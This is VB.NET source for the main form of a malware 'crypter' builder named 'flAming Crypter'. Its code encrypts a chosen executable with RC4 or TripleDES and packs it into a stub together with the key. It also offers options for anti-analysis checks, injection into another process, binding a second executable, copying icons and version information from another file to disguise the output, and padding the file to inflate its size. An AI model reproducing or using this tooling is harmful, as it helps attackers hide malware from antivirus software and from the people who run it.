294 lines
9.8 KiB
VB.net
294 lines
9.8 KiB
VB.net
|
Imports System.IO
|
||
|
|
Imports System.Text
|
||
|
|
|
||
|
|
Public Class Form1
|
||
|
|
Dim ifile, res, enctype, antis, processZ, cfile, bfile, b1file, iSbinded As String
|
||
|
|
Dim output As String = Application.StartupPath + "\done.exe"
|
||
|
|
Dim Stub As String = Application.StartupPath + "\winini.exe"
|
||
|
|
|
||
|
|
|
||
|
|
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnCtypt.Click
|
||
|
|
If TextFile.Text = "" Then
|
||
|
|
MsgBox("Select a file to crypt.", MsgBoxStyle.Information, "Select a file")
|
||
|
|
Exit Sub
|
||
|
|
End If
|
||
|
|
|
||
|
|
If File.Exists(output) Then
|
||
|
|
Kill(output)
|
||
|
|
End If
|
||
|
|
|
||
|
|
File.Copy(Application.StartupPath + "\res\winini.exe", Stub)
|
||
|
|
|
||
|
|
If CheckAntis.Checked Then
|
||
|
|
antis = "true"
|
||
|
|
Else
|
||
|
|
antis = "false"
|
||
|
|
End If
|
||
|
|
|
||
|
|
If CheckInject.Checked Then
|
||
|
|
processZ = TextProc.Text
|
||
|
|
Else
|
||
|
|
processZ = "own"
|
||
|
|
End If
|
||
|
|
|
||
|
|
If CheckIcon.Checked = True Then
|
||
|
|
If TextIcon.Text = "" Then
|
||
|
|
MsgBox("Select an icon.", MsgBoxStyle.Information, "Select an icon")
|
||
|
|
Exit Sub
|
||
|
|
End If
|
||
|
|
Else
|
||
|
|
Call IconIt(TextIcon.Text)
|
||
|
|
End If
|
||
|
|
|
||
|
|
If CheckClone.Checked = True Then
|
||
|
|
If TextClone.Text = "" Then
|
||
|
|
MsgBox("Select a file to clone with..", MsgBoxStyle.Information, "Clone")
|
||
|
|
Exit Sub
|
||
|
|
End If
|
||
|
|
Else
|
||
|
|
Call CloneIt(TextClone.Text)
|
||
|
|
End If
|
||
|
|
|
||
|
|
Call cit()
|
||
|
|
|
||
|
|
File.Delete(Stub)
|
||
|
|
|
||
|
|
TextBox1.Text = ReadEOFData(TextFile.Text)
|
||
|
|
|
||
|
|
If CheckBox1.Checked = True Then
|
||
|
|
ReadEOFData(TextFile.Text)
|
||
|
|
WriteEOFData(output, TextBox1.Text)
|
||
|
|
End If
|
||
|
|
|
||
|
|
If CheckBytes.Checked Then
|
||
|
|
Dim file1 = File.OpenWrite(Application.StartupPath + "\done.exe")
|
||
|
|
Dim siza = file1.Seek(0, SeekOrigin.[End])
|
||
|
|
Dim size = Convert.ToInt32(TextBytes.Text)
|
||
|
|
Dim bite As Decimal = size * 1048576
|
||
|
|
While siza < bite
|
||
|
|
siza += 1
|
||
|
|
file1.WriteByte(0)
|
||
|
|
End While
|
||
|
|
file1.Close()
|
||
|
|
End If
|
||
|
|
MsgBox("File Crypted Succesfully", MsgBoxStyle.Information, "Success")
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub IconIt(ByVal SourceIcon As String)
|
||
|
|
Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & ", " & Stub & ", " & SourceIcon & ", " & "icongroup, 1,0")
|
||
|
|
End Sub
|
||
|
|
Private Sub CloneIt(ByVal SourceFile As String)
|
||
|
|
Shell(App_Path() & "res\\res.exe -extract " & SourceFile & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,,")
|
||
|
|
Shell(App_Path() & "res\\res.exe -delete " & Stub & "," & App_Path() + "res\\res.exe" & ",VERSIONINFO,,")
|
||
|
|
Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & "," & Stub & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,1,")
|
||
|
|
End Sub
|
||
|
|
Public Function App_Path() As String
|
||
|
|
Return System.AppDomain.CurrentDomain.BaseDirectory()
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Sub cit()
|
||
|
|
Dim key As String = TextEnc.Text
|
||
|
|
Dim Cut As String = "/Assembly/"
|
||
|
|
'get stub
|
||
|
|
FileOpen(1, Stub, OpenMode.Binary)
|
||
|
|
res = Space(LOF(1))
|
||
|
|
FileGet(1, res)
|
||
|
|
FileClose(1)
|
||
|
|
|
||
|
|
'get file to crypt
|
||
|
|
FileOpen(1, (TextFile.Text), OpenMode.Binary)
|
||
|
|
ifile = Space(LOF(1))
|
||
|
|
FileGet(1, ifile)
|
||
|
|
FileClose(1)
|
||
|
|
|
||
|
|
'get file to bind
|
||
|
|
If CheckBind.Checked Then
|
||
|
|
iSbinded = "yes"
|
||
|
|
FileOpen(1, (TextBind.Text), OpenMode.Binary)
|
||
|
|
bfile = Space(LOF(1))
|
||
|
|
FileGet(1, bfile)
|
||
|
|
FileClose(1)
|
||
|
|
b1file = bfile
|
||
|
|
If CheckDES.Checked Then
|
||
|
|
b1file = _3des.Encrypt(bfile, key, True)
|
||
|
|
ElseIf CheckRC4.Checked Then
|
||
|
|
b1file = rc4.rc4(bfile, key)
|
||
|
|
End If
|
||
|
|
End If
|
||
|
|
|
||
|
|
cfile = ifile
|
||
|
|
If CheckDES.Checked Then
|
||
|
|
enctype = "tripleDES"
|
||
|
|
cfile = _3des.Encrypt(ifile, key, True)
|
||
|
|
ElseIf CheckRC4.Checked Then
|
||
|
|
enctype = "rc4"
|
||
|
|
cfile = rc4.rc4(ifile, key)
|
||
|
|
End If
|
||
|
|
|
||
|
|
FileOpen(1, output, OpenMode.Binary)
|
||
|
|
FilePut(1, res)
|
||
|
|
FilePut(1, Cut)
|
||
|
|
FilePut(1, cfile)
|
||
|
|
FilePut(1, Cut)
|
||
|
|
FilePut(1, key)
|
||
|
|
FilePut(1, Cut)
|
||
|
|
FilePut(1, enctype)
|
||
|
|
FilePut(1, Cut)
|
||
|
|
FilePut(1, antis)
|
||
|
|
FilePut(1, Cut)
|
||
|
|
FilePut(1, processZ)
|
||
|
|
FilePut(1, Cut)
|
||
|
|
FilePut(1, iSbinded)
|
||
|
|
FilePut(1, Cut)
|
||
|
|
FilePut(1, b1file)
|
||
|
|
FilePut(1, Cut)
|
||
|
|
FileClose(1)
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
|
||
|
|
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBrowse.Click
|
||
|
|
With OpenFileDialog1
|
||
|
|
.FileName = ""
|
||
|
|
.Filter = "Executable(*.exe)|*.exe"
|
||
|
|
.ShowDialog()
|
||
|
|
TextFile.Text = .FileName
|
||
|
|
ifile = TextFile.Text
|
||
|
|
End With
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub BtnIcon_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIcon.Click
|
||
|
|
With OpenFileDialog1
|
||
|
|
.FileName = ""
|
||
|
|
.Filter = "Icons(*.ico)|*.ico"
|
||
|
|
.ShowDialog()
|
||
|
|
TextIcon.Text = .FileName
|
||
|
|
End With
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||
|
|
Dim myfkey As String = GetRandom.ToString
|
||
|
|
TextEnc.Text = myfkey
|
||
|
|
CreateObject("SAPI.SpVoice").Speak("Welcome to flAming Crypter")
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
|
||
|
|
Dim random As New Random()
|
||
|
|
Return random.Next(min, max)
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
|
||
|
|
Dim builder As New StringBuilder()
|
||
|
|
Dim random As New Random()
|
||
|
|
Dim ch As Char
|
||
|
|
Dim i As Integer
|
||
|
|
For i = 0 To size - 1
|
||
|
|
ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
|
||
|
|
builder.Append(ch)
|
||
|
|
Next i
|
||
|
|
If lowerCase Then
|
||
|
|
Return builder.ToString().ToLower()
|
||
|
|
End If
|
||
|
|
Return builder.ToString()
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Public Function GetRandom() As String
|
||
|
|
Dim builder As New StringBuilder()
|
||
|
|
builder.Append(RandomString(4, True))
|
||
|
|
builder.Append(RandomNumber(1000, 9999))
|
||
|
|
builder.Append(RandomString(2, False))
|
||
|
|
Return builder.ToString()
|
||
|
|
End Function
|
||
|
|
|
||
|
|
|
||
|
|
Private Sub BtnClone_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClone.Click
|
||
|
|
With OpenFileDialog1
|
||
|
|
.FileName = ""
|
||
|
|
.Filter = "Executable(*.exe)|*.exe"
|
||
|
|
.ShowDialog()
|
||
|
|
TextClone.Text = .FileName
|
||
|
|
End With
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub BtnBind_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBind.Click
|
||
|
|
With OpenFileDialog1
|
||
|
|
.FileName = ""
|
||
|
|
.Filter = "Executable(*.exe)|*.exe"
|
||
|
|
.ShowDialog()
|
||
|
|
TextBind.Text = .FileName
|
||
|
|
End With
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public Function ReadEOFData(ByRef FilePath As String) As String
|
||
|
|
On Error GoTo Err_Renamed
|
||
|
|
Dim sEOFBuf, sFileBuf, sChar As String
|
||
|
|
Dim lPos2, lFF, lPos, lCount As Integer
|
||
|
|
If Dir(FilePath) = "" Then GoTo Err_Renamed
|
||
|
|
lFF = FreeFile()
|
||
|
|
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||
|
|
sFileBuf = Space(LOF(lFF))
|
||
|
|
FileGet(lFF, sFileBuf)
|
||
|
|
FileClose(lFF)
|
||
|
|
lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
|
||
|
|
sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
|
||
|
|
ReadEOFData = StrReverse(sEOFBuf)
|
||
|
|
If ReadEOFData = "" Then
|
||
|
|
End If
|
||
|
|
Exit Function
|
||
|
|
Err_Renamed:
|
||
|
|
ReadEOFData = vbNullString
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String)
|
||
|
|
Dim sFileBuf As String
|
||
|
|
Dim lFF As Integer
|
||
|
|
On Error Resume Next
|
||
|
|
If Dir(FilePath) = "" Then Exit Sub
|
||
|
|
lFF = FreeFile()
|
||
|
|
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||
|
|
sFileBuf = Space(LOF(lFF))
|
||
|
|
FileGet(lFF, sFileBuf)
|
||
|
|
FileClose(lFF)
|
||
|
|
Kill(FilePath)
|
||
|
|
lFF = FreeFile()
|
||
|
|
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||
|
|
FilePut(lFF, sFileBuf & EOFData)
|
||
|
|
FileClose(lFF)
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public Function GetNullBytes(ByRef lNum As Object) As String
|
||
|
|
Dim sBuf As String
|
||
|
|
Dim i As Short
|
||
|
|
For i = 1 To lNum
|
||
|
|
sBuf = sBuf & Chr(0)
|
||
|
|
Next
|
||
|
|
GetNullBytes = sBuf
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Sub CheckClone_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckClone.CheckedChanged
|
||
|
|
If CheckClone.Checked = True Then
|
||
|
|
BtnClone.Enabled = True
|
||
|
|
ElseIf CheckClone.Checked = False Then
|
||
|
|
BtnClone.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub CheckIcon_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckIcon.CheckedChanged
|
||
|
|
If CheckIcon.Checked = True Then
|
||
|
|
BtnIcon.Enabled = True
|
||
|
|
ElseIf CheckIcon.Checked = False Then
|
||
|
|
BtnIcon.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub CheckBind_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBind.CheckedChanged
|
||
|
|
If CheckBind.Checked = True Then
|
||
|
|
BtnBind.Enabled = True
|
||
|
|
ElseIf CheckBind.Checked = False Then
|
||
|
|
BtnBind.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
Private Sub frmMain_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
|
||
|
|
Form2.Close()
|
||
|
|
End Sub
|
||
|
|
End Class
|